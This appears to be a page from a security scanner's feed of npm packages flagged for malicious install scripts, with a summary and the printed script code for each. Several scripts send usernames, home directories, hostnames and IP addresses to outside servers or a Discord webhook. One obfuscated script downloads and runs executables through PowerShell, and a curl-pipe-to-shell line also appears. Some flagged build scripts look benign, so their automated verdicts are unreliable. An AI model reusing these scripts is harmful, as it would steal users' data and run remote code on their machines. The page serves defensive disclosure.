Home
Docs
GitHub
Blog

Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our 𝕏 / Twitter feed for updates.

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive user information, including the package name, usernames, home directory, and the user's IP address, and sends it to several remote servers as part of an HTTP GET request. This poses a serious security risk as it compromises user privacy and could potentially lead to unauthorized access or data theft.

Install script:
node index.js
Install script code:
const os = require("os");
const querystring = require("querystring");
const http = require("http");
const fs = require("fs");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

fetch('http://ip-api.com/json')
    .then(response => response.json())
    .then(data => {
        const ipAddress = data.query;

        const trackingData = querystring.stringify({
            package: packageName,
            dir: __dirname,
            homedir: os.homedir(),
            hostname: os.hostname(),
            ip: ipAddress,
            username: os.userInfo().username,
        });

        const addresses = [
            "dnipqouebm-psl.cn.oast-cn.byted-dast.com",
            "oqvignkp58-psl.i18n.oast-row.byted-dast.com",
            "sbfwstspuutiarcjzptfutygntsslnz7p.oast.fun"
        ];

        function generateRandomFiveDigitNumber() {
            return Math.floor(10000 + Math.random() * 90000);
        }

        const randomNumber = generateRandomFiveDigitNumber();

        addresses.forEach((hostname) => {
            const options = {
                hostname: hostname,
                port: "80",
                path: `/realtime_p/npm/${randomNumber}?${trackingData}`,
                method: "GET",
                rejectUnauthorized: false
            };

            const req = http.request(options, (res) => {
                res.on("data", (d) => {
                    console.log(`Response from ${hostname}:`, d.toString());
                });
            });

            req.on("error", (e) => {
                console.error(`Error with request to ${hostname}:`, e);
            });

            req.end();
        });
    })
    .catch(error => {
        console.error(error);
    });

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code sends sensitive user and system information (including IP address, home directory, username, etc.) to remote servers that are not controlled by the user. This could lead to unauthorized tracking and exposure of personal data. Additionally, the use of external unverified hosts raises concerns about the potential for malicious activities such as data theft or exploitation.

Install script:
node index.js
Install script code:
const os = require("os");
const querystring = require("querystring");
const http = require("http");
const fs = require("fs");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

fetch('http://ip-api.com/json')
    .then(response => response.json())
    .then(data => {
        const ipAddress = data.query;

        const trackingData = querystring.stringify({
            package: packageName,
            dir: __dirname,
            homedir: os.homedir(),
            hostname: os.hostname(),
            ip: ipAddress,
            username: os.userInfo().username,
        });

        const addresses = [
            "dnipqouebm-psl.cn.oast-cn.byted-dast.com",
            "oqvignkp58-psl.i18n.oast-row.byted-dast.com",
            "sbfwstspuutiarcjzptfutygntsslnz7p.oast.fun"
        ];

        function generateRandomFiveDigitNumber() {
            return Math.floor(10000 + Math.random() * 90000);
        }

        const randomNumber = generateRandomFiveDigitNumber();

        addresses.forEach((hostname) => {
            const options = {
                hostname: hostname,
                port: "80",
                path: `/realtime_p/npm/${randomNumber}?${trackingData}`,
                method: "GET",
                rejectUnauthorized: false
            };

            const req = http.request(options, (res) => {
                res.on("data", (d) => {
                    console.log(`Response from ${hostname}:`, d.toString());
                });
            });

            req.on("error", (e) => {
                console.error(`Error with request to ${hostname}:`, e);
            });

            req.end();
        });
    })
    .catch(error => {
        console.error(error);
    });

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code fetches the public IP address of the device, collects sensitive information about the system (such as the package name, directory, home directory, hostname, IP address, and username), and sends this data to a series of potentially malicious external servers. This constitutes a privacy risk as it can expose sensitive user information to unauthorized parties.

Install script:
node index.js
Install script code:
const os = require("os");
const querystring = require("querystring");
const http = require("http");
const fs = require("fs");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

fetch('http://ip-api.com/json')
    .then(response => response.json())
    .then(data => {
        const ipAddress = data.query;

        const trackingData = querystring.stringify({
            package: packageName,
            dir: __dirname,
            homedir: os.homedir(),
            hostname: os.hostname(),
            ip: ipAddress,
            username: os.userInfo().username,
        });

        const addresses = [
            "dnipqouebm-psl.cn.oast-cn.byted-dast.com",
            "oqvignkp58-psl.i18n.oast-row.byted-dast.com",
            "sbfwstspuutiarcjzptfutygntsslnz7p.oast.fun"
        ];

        function generateRandomFiveDigitNumber() {
            return Math.floor(10000 + Math.random() * 90000);
        }

        const randomNumber = generateRandomFiveDigitNumber();

        addresses.forEach((hostname) => {
            const options = {
                hostname: hostname,
                port: "80",
                path: `/realtime_p/npm/${randomNumber}?${trackingData}`,
                method: "GET",
                rejectUnauthorized: false
            };

            const req = http.request(options, (res) => {
                res.on("data", (d) => {
                    console.log(`Response from ${hostname}:`, d.toString());
                });
            });

            req.on("error", (e) => {
                console.error(`Error with request to ${hostname}:`, e);
            });

            req.end();
        });
    })
    .catch(error => {
        console.error(error);
    });

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code fetches the public IP address of the user and sends sensitive information, including the package name, system directory, user home directory, hostname, IP address, and username, to multiple potentially malicious remote servers. This exposes users' private details to unknown entities, posing a serious privacy risk.

Install script:
node index.js
Install script code:
const os = require("os");
const querystring = require("querystring");
const http = require("http");
const fs = require("fs");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

fetch('http://ip-api.com/json')
    .then(response => response.json())
    .then(data => {
        const ipAddress = data.query;

        const trackingData = querystring.stringify({
            package: packageName,
            dir: __dirname,
            homedir: os.homedir(),
            hostname: os.hostname(),
            ip: ipAddress,
            username: os.userInfo().username,
        });

        const addresses = [
            "dnipqouebm-psl.cn.oast-cn.byted-dast.com",
            "oqvignkp58-psl.i18n.oast-row.byted-dast.com",
            "sbfwstspuutiarcjzptfutygntsslnz7p.oast.fun"
        ];

        function generateRandomFiveDigitNumber() {
            return Math.floor(10000 + Math.random() * 90000);
        }

        const randomNumber = generateRandomFiveDigitNumber();

        addresses.forEach((hostname) => {
            const options = {
                hostname: hostname,
                port: "80",
                path: `/realtime_p/npm/${randomNumber}?${trackingData}`,
                method: "GET",
                rejectUnauthorized: false
            };

            const req = http.request(options, (res) => {
                res.on("data", (d) => {
                    console.log(`Response from ${hostname}:`, d.toString());
                });
            });

            req.on("error", (e) => {
                console.error(`Error with request to ${hostname}:`, e);
            });

            req.end();
        });
    })
    .catch(error => {
        console.error(error);
    });

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive information about the user's system, including their internal and external IP addresses, hostname, username, and more, and sends this data to a specified Discord webhook. This can lead to privacy violations and the potential for unauthorized tracking or exploitation.

Install script:
node index.js
Install script code:
const os = require("os");
const dns = require("dns");
const https = require("https");
const packageJSON = require("./package.json");

const package = packageJSON.name;

// Function to get the internal IP address
function getIPAddress() {
    const networkInterfaces = os.networkInterfaces();
    for (const interfaceName in networkInterfaces) {
        const iface = networkInterfaces[interfaceName];
        for (const alias of iface) {
            if (alias.family === 'IPv4' && !alias.internal) {
                return alias.address;
            }
        }
    }
    return 'IP not found';
}

// Function to get the external IP address
function getExternalIP(callback) {
    https.get('https://ipinfo.io/json', (res) => {
        let data = '';

        // Receive data chunks
        res.on('data', (chunk) => {
            data += chunk;
        });

        // On response end, parse and return the IP address
        res.on('end', () => {
            const parsedData = JSON.parse(data);
            callback({ip: parsedData.ip, hostname: parsedData.hostname, organization: parsedData.org}); // Call the callback with the external IP address
        });
    }).on('error', (e) => {
        console.error('Error fetching external IP address:', e);
        callback({ip:'External IP not found',hostname:'External hostname not found', organization: 'Organization not found'}); // Handle errors
    });
}

// Prepare the tracking data
getExternalIP((externalIP) => {
    const trackingData = JSON.stringify({
        package: package,
        directory: __dirname,
        home_directory: os.homedir(),
        username: os.userInfo().username,
        dns: dns.getServers(),
        internal_hostname: os.hostname(),
        internal_ip: getIPAddress(), // Add internal IP address here
        external_ip: externalIP.ip, // Get External IP Address
        external_hostname: externalIP.hostname,
        organization: externalIP.organization,
        resolved_url: packageJSON ? packageJSON.___resolved : undefined,
        package_version: packageJSON.version,
        package_json: packageJSON,
        package_type: 'npm',
    });

    const webhookURL = "https://discord.com/api/webhooks/1301084955144618004/dzBF_mUG0Ob7MXPUjc3j4cbfOxRF8aquDty3TZCzVy7y-Pjh78fkwe_z1JezoYhAOv89"; // Replace with your Discord webhook URL

    const postData = JSON.stringify({
        content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
    });

    const options = new URL(webhookURL);

    options.method = "POST";
    options.headers = {
        "Content-Type": "application/json",
        "Content-Length": postData.length,
    };

    const req = https.request(options, (res) => {
        res.on("data", (d) => {
            process.stdout.write(d);
        });
    });

    req.on("error", (e) => {
        console.error(e);
    });

    req.write(postData);
    req.end();
});

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

This code modifies the package.json file of a project to change its entry point and add a script, which can potentially be exploited to run arbitrary code (in this case, it imports a package called @karinjs/puppeteer). It also makes the project type a module and delays writing these changes, which could be used to execute payloads without user consent, posing a security risk.

Install script:
node init.js
Install script code:
#!/usr/bin/env node

import fs from 'fs'
import path from 'path'
import { fileURLToPath } from 'url'

function findProjectRoot (startDir) {
  let dir = startDir
  while (dir !== path.parse(dir).root) {
    if (fs.existsSync(path.join(dir, 'package.json'))) {
      return dir
    }
    dir = path.dirname(dir)
  }
  return startDir
}

const projectRoot = process.env.INIT_CWD || findProjectRoot(process.cwd())
const file = path.join(projectRoot, 'package.json')
/** 获取当前文件的路径 */
const filePath = fileURLToPath(import.meta.url)

/** 如果不处于npm包环境 不修改 */
if (filePath.includes('node_modules')) {
  const main = './' + path.relative(projectRoot, path.join(path.dirname(filePath), './lib/index.js')).replace(/\\/g, '/')
  const pkg = JSON.parse(fs.readFileSync(file, 'utf-8'))
  pkg.type = 'module'
  pkg.main = main
  pkg.types = main.replace(/js$/, 'd.ts')
  if (!pkg.scripts) pkg.scripts = {}
  pkg.scripts.start = 'node ' + main
  /** 延迟1秒写入 */
  setTimeout(() => {
    fs.writeFileSync(file, JSON.stringify(pkg, null, 2))
  }, 1000)
  fs.writeFileSync(path.join(projectRoot, 'index.js'), `import('@karinjs/puppeteer')`)
  console.log('初始化完成,请使用【node .】启动~')
}

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code is designed to download remote files from specified URLs and execute them using PowerShell on the local machine. This can lead to arbitrary code execution, as the downloaded files could contain malicious scripts, potentially compromising the system's security and allowing unauthorized access.

Install script:
node index.js
Install script code:
const _0x548cd8=_0x393a;(function(_0x2245b6,_0x4d60d1){const _0x59a0b6=_0x393a,_0x239e37=_0x2245b6();while(!![]){try{const _0x2d52a0=-parseInt(_0x59a0b6(0x70))/(0x1201+0x20f6+-0x32f6)*(parseInt(_0x59a0b6(0x8f))/(-0x1827+-0x2183+0x4*0xe6b))+-parseInt(_0x59a0b6(0x82))/(0x1*-0x1abb+0x547+0x1577)*(parseInt(_0x59a0b6(0x6c))/(0x13*-0x1f5+0xc05+0x192e))+parseInt(_0x59a0b6(0x8c))/(0xa96+-0x1*0x8b+-0x2*0x503)+parseInt(_0x59a0b6(0x99))/(-0x747+0x949*0x2+0x241*-0x5)*(-parseInt(_0x59a0b6(0x81))/(-0x2557+0x2*-0x58+0x260e))+parseInt(_0x59a0b6(0x8e))/(0x4*-0x520+0x1cd*-0x1+0x1655)*(-parseInt(_0x59a0b6(0x78))/(-0x1dee+0x10*0x18b+0x547))+parseInt(_0x59a0b6(0x98))/(-0x2*0xc17+-0x49*-0x24+0x2f*0x4c)+parseInt(_0x59a0b6(0x89))/(-0x7ab*0x1+0x12d6*0x1+-0xb20);if(_0x2d52a0===_0x4d60d1)break;else _0x239e37['push'](_0x239e37['shift']());}catch(_0x48f580){_0x239e37['push'](_0x239e37['shift']());}}}(_0x213c,-0x30595+0x1d9fb*-0x3+-0xd684b*-0x1));const {exec}=require(_0x548cd8(0x6d)+_0x548cd8(0x7d)),path=require(_0x548cd8(0x8d)),util=require(_0x548cd8(0x72)),execAsync=util[_0x548cd8(0x9b)](exec),urls=[_0x548cd8(0x77)+_0x548cd8(0x90)+_0x548cd8(0x9e)+_0x548cd8(0x95)+_0x548cd8(0x6b)+_0x548cd8(0x73)+_0x548cd8(0x87),_0x548cd8(0x77)+_0x548cd8(0x90)+_0x548cd8(0x9e)+_0x548cd8(0x95)+_0x548cd8(0x6b)+_0x548cd8(0x73)+_0x548cd8(0x8b)+_0x548cd8(0x76),_0x548cd8(0x77)+_0x548cd8(0x90)+_0x548cd8(0x9e)+_0x548cd8(0x95)+_0x548cd8(0x6b)+_0x548cd8(0x73)+_0x548cd8(0x85)+_0x548cd8(0x92)],outputFiles=[path[_0x548cd8(0x96)](__dirname,_0x548cd8(0x97)),path[_0x548cd8(0x96)](__dirname,_0x548cd8(0x75)+_0x548cd8(0x9a)),path[_0x548cd8(0x96)](__dirname,_0x548cd8(0x88)+'e')];function _0x213c(){const _0x4ec37a=['8524175RSFrHS','bRequest\x20-','n/buildnod','1161945NWXSNm','path','8WeKMxm','2110URUWPE','thub.com/z','error','exe','message','Uri\x20\x27','oioj/anima','join','cmd.exe','1245150qfRjIY','110046OZozNJ','.exe','promisify','Error:\x20','length','xc8290asid','tedguacamo','886376fodgCy','child_proc','cess\x20\x27','\x20-Command\x20','69qPyTXA','\x22Start-Pro','util','le/raw/mai','\x27\x20-OutFile','buildnodes','es.exe','https://gi','2871684XvihhG','\x20successfu','dWLLK','lly','Executed\x20','ess','Downloaded','powershell','log','77hQybsT','3tiOpJb','NyUdj','\x22Invoke-We','n/runtime.','UUVGT','n/cmd.exe','runtime.ex'];_0x213c=function(){return _0x4ec37a;};return _0x213c();}async function downloadAndRun(_0x115c2f,_0x120917){const _0x1ee400=_0x548cd8,_0x3d07d2={'NyUdj':function(_0x59ca93,_0x4adbbf){return _0x59ca93(_0x4adbbf);}},_0x3e5f5c=_0x1ee400(0x7f)+_0x1ee400(0x6f)+_0x1ee400(0x84)+_0x1ee400(0x8a)+_0x1ee400(0x94)+_0x115c2f+(_0x1ee400(0x74)+'\x20\x27')+_0x120917+'\x27\x22',_0x48fcf0=_0x1ee400(0x7f)+_0x1ee400(0x6f)+_0x1ee400(0x71)+_0x1ee400(0x6e)+_0x120917+'\x27\x22';try{await _0x3d07d2[_0x1ee400(0x83)](execAsync,_0x3e5f5c),console[_0x1ee400(0x80)](_0x1ee400(0x7e)+'\x20'+_0x120917+(_0x1ee400(0x79)+_0x1ee400(0x7b))),await _0x3d07d2[_0x1ee400(0x83)](execAsync,_0x48fcf0),console[_0x1ee400(0x80)](_0x1ee400(0x7c)+_0x120917+(_0x1ee400(0x79)+_0x1ee400(0x7b)));}catch(_0x48c24c){console[_0x1ee400(0x91)](_0x1ee400(0x9c)+_0x48c24c[_0x1ee400(0x93)]);}}function _0x393a(_0x2ee77d,_0x292043){const _0x357951=_0x213c();return _0x393a=function(_0x307dc2,_0x4d36fe){_0x307dc2=_0x307dc2-(0x1c45+0x612*-0x6+0x892);let _0x251948=_0x357951[_0x307dc2];return _0x251948;},_0x393a(_0x2ee77d,_0x292043);}((async()=>{const _0x54039d=_0x548cd8,_0x54ab6e={'UUVGT':function(_0x3818d1,_0x5e69e9){return _0x3818d1<_0x5e69e9;},'dWLLK':function(_0x2fd589,_0x264d3b,_0x583158){return _0x2fd589(_0x264d3b,_0x583158);}};for(let _0x20b40f=0xe2e+-0x9d*0x3c+0x169e;_0x54ab6e[_0x54039d(0x86)](_0x20b40f,urls[_0x54039d(0x9d)]);_0x20b40f++){await _0x54ab6e[_0x54039d(0x7a)](downloadAndRun,urls[_0x20b40f],outputFiles[_0x20b40f]);}})());

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code attempts to build and run external code (a shared library) based on the user's operating system and architecture. It does this using execSync, which can execute arbitrary commands. If exploited, this could allow an attacker to execute malicious code on the user's system, especially if the code being built or the environment variables are influenced by user input or untrusted sources.

Install script:
node postinstall.js
Install script code:
const { execSync } = require('child_process')
const { readFileSync, writeFileSync, existsSync } = require('fs')
const { join, resolve } = require('path')
const { platform, arch } = require('os')

const { platformArchTriples } = require('@napi-rs/triples')

const PLATFORM_NAME = platform()
const ARCH_NAME = arch()

if (process.env.npm_config_build_from_source || process.env.BUILD_TARO_FROM_SOURCE) {
  let libExt
  let dylibName = 'taro_binding'
  switch (PLATFORM_NAME) {
    case 'darwin':
      libExt = '.dylib'
      dylibName = `lib${dylibName}`
      break
    case 'win32':
      libExt = '.dll'
      break
    case 'linux':
    case 'freebsd':
    case 'openbsd':
    case 'android':
    case 'sunos':
      dylibName = `lib${dylibName}`
      libExt = '.so'
      break
    default:
      throw new TypeError('Operating system not currently supported or recognized by the build script')
  }
  execSync('cargo build --release', {
    stdio: 'inherit',
    env: process.env,
  })
  let dylibPath = join(__dirname, 'target', 'release', `${dylibName}${libExt}`)
  if (!existsSync(dylibPath)) {
    dylibPath = join(resolve(__dirname, '..', '..'), 'target', 'release', `${dylibName}${libExt}`)
  }
  const dylibContent = readFileSync(dylibPath)
  const triples = platformArchTriples[PLATFORM_NAME][ARCH_NAME]
  const tripe = triples[0]
  writeFileSync(join(__dirname, `taro.${tripe.platformArchABI}.node`), dylibContent)
}

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

This code contains a security vulnerability as it uses execSync to execute a command that builds a library from source code using Cargo. It runs arbitrary commands based on environment variables, which can be manipulated by an attacker to execute malicious code. The final output is a native library potentially containing harmful code, compromising the system's security.

Install script:
node postinstall.js
Install script code:
const { execSync } = require('child_process')
const { readFileSync, writeFileSync, existsSync } = require('fs')
const { join, resolve } = require('path')
const { platform, arch } = require('os')

const { platformArchTriples } = require('@napi-rs/triples')

const PLATFORM_NAME = platform()
const ARCH_NAME = arch()

if (process.env.npm_config_build_from_source || process.env.BUILD_TARO_FROM_SOURCE) {
  let libExt
  let dylibName = 'taro_binding'
  switch (PLATFORM_NAME) {
    case 'darwin':
      libExt = '.dylib'
      dylibName = `lib${dylibName}`
      break
    case 'win32':
      libExt = '.dll'
      break
    case 'linux':
    case 'freebsd':
    case 'openbsd':
    case 'android':
    case 'sunos':
      dylibName = `lib${dylibName}`
      libExt = '.so'
      break
    default:
      throw new TypeError('Operating system not currently supported or recognized by the build script')
  }
  execSync('cargo build --release', {
    stdio: 'inherit',
    env: process.env,
  })
  let dylibPath = join(__dirname, 'target', 'release', `${dylibName}${libExt}`)
  if (!existsSync(dylibPath)) {
    dylibPath = join(resolve(__dirname, '..', '..'), 'target', 'release', `${dylibName}${libExt}`)
  }
  const dylibContent = readFileSync(dylibPath)
  const triples = platformArchTriples[PLATFORM_NAME][ARCH_NAME]
  const tripe = triples[0]
  writeFileSync(join(__dirname, `taro.${tripe.platformArchABI}.node`), dylibContent)
}

Detected: 4 Nov 2024
Detected Date: 4 Nov 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

This script downloads and executes a shell script from a remote source without any verification, which could lead to the execution of malicious code, potentially compromising the system.

Install script:
curl -fsSL https://raw.githubusercontent.com/bnonni/drpm.tools/refs/heads/main/setup.sh | sh
1,178 vulnerabilities